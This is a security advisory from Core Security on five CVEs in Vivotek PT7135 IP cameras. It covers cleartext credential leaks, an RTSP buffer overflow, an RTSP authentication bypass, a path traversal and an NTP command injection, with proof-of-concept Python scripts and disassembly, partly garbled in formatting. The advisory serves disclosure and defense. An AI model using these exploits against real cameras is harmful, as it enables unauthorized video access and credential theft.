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Vivotek IP Cameras Multiple Vulnerabilities
Title: Vivotek IP Cameras Multiple Vulnerabilities Advisory ID: CORE-2013-0301 Advisory URL: http://www.coresecurity.com/advisories/vivotek-ip-cameras-multiple-vulnerabilities Date published: 2013-04-29 Date of last update: 2013-04-29 Vendors contacted: Vivotek Release mode: User release
Class: Information leak through GET request [CWE-598], Buffer overflow [CWE-119], Authentication issues [CWE-287], Path traversal [CWE-22], OS command injection [CWE-78] Impact: Code execution, Security bypass Remotely Exploitable: Yes Locally Exploitable: No CVE Name: CVE-2013-1594, CVE-2013-1595, CVE-2013-1596, CVE-2013-1597, CVE-2013-1598
Multiple vulnerabilities have been found in Vivotek IP cameras  (and potentially cameras from other vendors sharing the affected firmware) that could allow an unauthenticated remote attacker:
[CVE-2013-1598] to execute arbitrary commands from the administration web interface (pre-authentication with firmware 0300a and post-authentication with firmware 0400a).
. Vivotek PT7135 IP camera with firmware 0300a. . Vivotek PT7135 IP camera with firmware 0400a. . Other Vivotek cameras/firmware are probably affected too, but they were not checked.
Vendor did not provide details. Contact Vivotek for further information.
There was no official answer from Vivotek after several attempts to report these vulnerabilities (see [Sec. 9]). Contact vendor for further information.
Some mitigation actions may be:
. Do not expose the camera to internet unless absolutely necessary. . Filter RTSP traffic (default port 554) if possible. . Have at least one proxy filtering '/../../' and 'getparam.cgi' in HTTP requests. . Filter strings in the parameter 'system.ntp' on every request made to the binary 'farseer.out'.
[CVE-2013-1594] was originally discovered and reported  by Alejandro Leon Morales  and re-discovered on new firmware versions by Flavio De Cristofaro from Core Security.
[CVE-2013-1595] and [CVE-2013-1596] were discovered and researched by Martin Rocha from Core Impact Pro Team. The PoC of [CVE-2013-1596] was made by Martin Rocha with help of Juan Cotta from Core QA Team.
[CVE-2013-1597] and [CVE-2013-1598] were discovered and researched by Francisco Falcon and Nahuel Riva from Core Exploit Writers Team.
The publication of this advisory was coordinated by Fernando Miranda from Core Advisories Team.
8.1. Information leak through GET request
[CVE-2013-1594] Several Vivotek cameras store Wireless keys and 3rd party credentials in clear text allowing a remote attacker to obtain sensitive information which might be valuable to perform further attacks. Sensitive information stored in plain text includes:
. FTP credentials . Share folder credentials . SMTP credentials . WEP / WPA Keys . DynDNS credentials . Safe100.net credentials . TZO credentials, among others. The following GET requests can exploit the vulnerability (requests may change according to firmware versions and vendors devices):
8.2. Remote Buffer Overflow
[CVE-2013-1595] The following Python script can be used to trigger the vulnerability. This script will send to the RTSP service a specially crafted packet with the header field 'Authorization' fully completed with the character 'a' (0x61). As a result, the Instruction Pointer register (IP) will be overwritten with 0x61616161, which is a typical buffer overrun condition.
/----- import socket, base64
cam_ip = '192.168.1.100' session_descriptor = 'live.sdp'
request = 'DESCRIBE rtsp://%s/%s RTSP/1.0\r\n' % (cam_ip, session_descriptor) request+= 'CSeq: 1\r\n' request+= 'Authorization: Basic %s\r\n' request+= '\r\n'
auth_little = 'a' * 1000 auth_big = 'a' * 10000
msgs = [request % auth_little, request % auth_big]
for msg in msgs: s = socket.socket() s.connect((cam_ip, 554)) print s.send(msg) print s.recv(0x10000) s.close()
8.3. RTSP Authentication Bypass
[CVE-2013-1596] This vulnerability is triggered by sending specially crafted RTSP packets to remote TCP port 554 of a Vivotek PT7135 camera. As a result, the video stream can be accessed by an unauthenticated remote attacker.
/----- import sys from socket import * from threading import Thread import time, re
LOGGING = 1
def log(s): if LOGGING: print '(%s) %s' % (time.ctime(), s)
class UDPRequestHandler(Thread): def init(self, data_to_send, recv_addr, dst_addr): Thread.init(self) self.data_to_send = data_to_send self.recv_addr = recv_addr self.dst_addr = dst_addr
def run(self): sender = socket(AF_INET, SOCK_DGRAM) sender.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1) sender.sendto(self.data_to_send, self.dst_addr) response = sender.recv(1024) sender.sendto(response, self.recv_addr) sender.close()
class UDPDispatcher(Thread): dispatchers = 
def __has_dispatcher_for(self, port): return any([d.src_port == port for d in UDPDispatcher.dispatchers]) def __init__(self, src_port, dst_addr): Thread.__init__(self) if self.__has_dispatcher_for(src_port): raise Exception('There is already a dispatcher for port %d'
% src_port) self.src_port = src_port self.dst_addr = dst_addr UDPDispatcher.dispatchers.append(self)
def run(self): listener = socket(AF_INET, SOCK_DGRAM) listener.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1) listener.bind(('', self.src_port)) while 1: try: data, recv_addr = listener.recvfrom(1024) if not data: break UDPRequestHandler(data, recv_addr, self.dst_addr).start() except Exception as e: print e break listener.close() UDPDispatcher.dispatchers.remove( self )
class PipeThread(Thread): pipes =  def init(self, source, sink, process_data_callback=lambda x: x): Thread.init(self) self.source = source self.sink = sink self.process_data_callback = process_data_callback PipeThread.pipes.append(self)
def run(self): while 1: try: data = self.source.recv(1024) data = self.process_data_callback(data) if not data: break self.sink.send( data ) except Exception as e: log(e) break PipeThread.pipes.remove(self)
class TCPTunnel(Thread): def init(self, src_port, dst_addr, process_data_callback=lambda x: x): Thread.init(self) log('[*] Redirecting: localhost:%s -> %s:%s' % (src_port, dst_addr, dst_addr)) self.dst_addr = dst_addr self.process_data_callback = process_data_callback # Create TCP listener socket self.sock = socket(AF_INET, SOCK_STREAM) self.sock.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1) self.sock.bind(('', src_port)) self.sock.listen(5)
def run(self): while 1: # Wait until a new connection arises newsock, address = self.sock.accept() # Create forwarder socket fwd = socket(AF_INET, SOCK_STREAM) fwd.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1) fwd.connect(self.dst_addr) # Pipe them! PipeThread(newsock, fwd, self.process_data_callback).start() PipeThread(fwd, newsock, self.process_data_callback).start()
class Camera(): def init(self, address): self.address = address def get_describe_data(self): return ''
class Vivotek(Camera): # Vivotek PT7135/0400a def init(self, address): Camera.init(self, address) def get_describe_data(self): return 'v=0\r\no=RTSP 836244 0 IN IP4 0.0.0.0\r\ns=RTSP server\r\nc=IN IP4 0.0.0.0\r\nt=0 0\r\na=charset:Shift_JIS\r\na=range:npt=0-\r\na=control:*\r\na=etag:1234567890\r\nm=video 0 RTP/AVP 96\r\nb=AS:1200\r\na=rtpmap:96 MP4V-ES/30000\r\na=control:trackID=1\r\na=fmtp:96 profile-level-id=3;config=000001B003000001B509000001000000012000C48881F4514043C1463F;decode_buf=76800\r\nm=audio 0 RTP/AVP 97\r\na=control:trackID=3\r\na=rtpmap:97 mpeg4-generic/16000/2\r\na=fmtp:97 streamtype=5; profile-level-id=15; mode=AAC-hbr; config=1410;SizeLength=13; IndexLength=3; IndexDeltaLength=3; CTSDeltaLength=0; DTSDeltaLength=0;\r\n'
class RTSPAuthByPasser(): DESCRIBE_REQ_HEADER = 'DESCRIBE rtsp://' UNAUTHORIZED_RESPONSE = 'RTSP/1.0 401 Unauthorized' SERVER_PORT_ARGUMENTS = 'server_port=' DEFAULT_CSEQ = 1 DEFAULT_SERVER_PORT_RANGE = '5556-5559'
def __init__(self, local_port, camera): self.last_describe_req = '' self.camera = camera self.local_port = local_port def start(self): log('[!] Starting bypasser') TCPTunnel(self.local_port, self.camera.address,
def spoof_rtsp_conn(self, data): if RTSPAuthByPasser.DESCRIBE_REQ_HEADER in data: self.last_describe_req = data elif RTSPAuthByPasser.UNAUTHORIZED_RESPONSE in data and
log('[!] Unauthorized response received. Spoofing...')
spoofed_describe = self.camera.get_describe_data()
# Look for the request CSeq
m = re.search('.CSeq:\s(\d+?)\r\n.',
cseq = m.group(1) if m else RTSPAuthByPasser.DEFAULT_CSEQ
# Create the response
data = 'RTSP/1.0 200 OK\r\n'
data+= 'CSeq: %s\r\n' % cseq
data+= 'Content-Type: application/sdp\r\n'
data+= 'Content-Length: %d\r\n' % len(spoofed_describe)
# Attach the spoofed describe
elif RTSPAuthByPasser.SERVER_PORT_ARGUMENTS in data: # Look for the server RTP ports m = re.search('.%s\s(.+?)[;|\r].' % RTSPAuthByPasser.SERVER_PORT_ARGUMENTS, data) ports = m.group(1) if m else RTSPAuthByPasser.DEFAULT_SERVER_PORT_RANGE # For each port in the range create a UDP dispatcher begin_port, end_port = map(int, ports.split('-')) for udp_port in xrange(begin_port, end_port + 1): try: UDPDispatcher(udp_port, (self.camera.address, udp_port)).start() except: pass
if name == 'main': if len( sys.argv ) > 1: listener_port = camera_port = int(sys.argv) camera_ip = sys.argv if len(sys.argv) == 4: camera_port = int(sys.argv) RTSPAuthByPasser(listener_port, Vivotek((camera_ip, camera_port))).start() else: print 'usage: python %s [local_port] [camera_ip] [camera_rtsp_port]'
8.4. User Credentials Leaked via Path Traversal
[CVE-2013-1597] The following Python code exploits a path traversal and dumps the camera's memory. Valid user credentials can be extracted from this memory dump by an unauthenticated remote attacker (firmware 0300a). The same attack is still valid with firmware 0400a but the user has to be authenticated in order to exploit this flaw.
/----- import httplib
conn = httplib.HTTPConnection("192.168.1.100") conn.request("GET", "/../../../../../../../../../proc/kcore") resp = conn.getresponse() data = resp.read() -----/
8.5. OS Command Injection
[CVE-2013-1598] The command injection is located in the binary file 'farseer.out' in the parameter 'system.ntp':
.text:0000CB34 MOV R1, R4
.text:0000CB38 LDR R0, =aCmdporcessStar ;
"[CmdPorcess] Start sync with NTP server %s"...
.text:0000CB3C ADD R10, SP, #0x144+var_120
.text:0000CB40 BNE loc_CB68
.text:0000CB68 BL .printf
.text:0000CB6C LDR R2, =aSS_0 ; "%s%s"
.text:0000CB70 LDR R3, =aUsrSbinPsntpda ;
"/usr/sbin/psntpdate -4fr "
.text:0000CB74 MOV R1, #0xFF ; maxlen
.text:0000CB78 MOV R0, R10 ; s
.text:0000CB7C STR R4, [SP,#0x144+var_144]
.text:0000CB80 BL .snprintf
.text:0000CB84 MOV R0, R10 ; command
.text:0000CB88 BL .system
. 2013-03-06: Core Security Technologies notifies the Vivotek Customer Support of the vulnerability (tracking ID CRM:00930113) and requests a security manager to send a draft report regarding these vulnerabilities. No reply received.
. 2013-03-11: Core asks for a security manager to send a confidential report.
. 2013-03-14: Core notifies the Vivotek Technical Support of the vulnerability (tracking ID CRM:00930485).
. 2013-03-18: Core opens a new ticket in the Vivotek Technical Support (tracking ID CRM:00930670).
. 2013-03-21: Core asks for a reply regarding the tracking ID CRM:00930485.
. 2013-04-24: Core tries to contact vendor for last time without any reply.
. 2013-04-29: After 6 failed attempts to report the issues, the advisory CORE-2013-0301 is published as 'user-release'.
 http://www.vivotek.com/web/product/NetworkCameras.aspx  http://www.securityfocus.com/bid/54476.  Alejandro Leon Morales [Gothicx] http://www.undermx.blogspot.mx.
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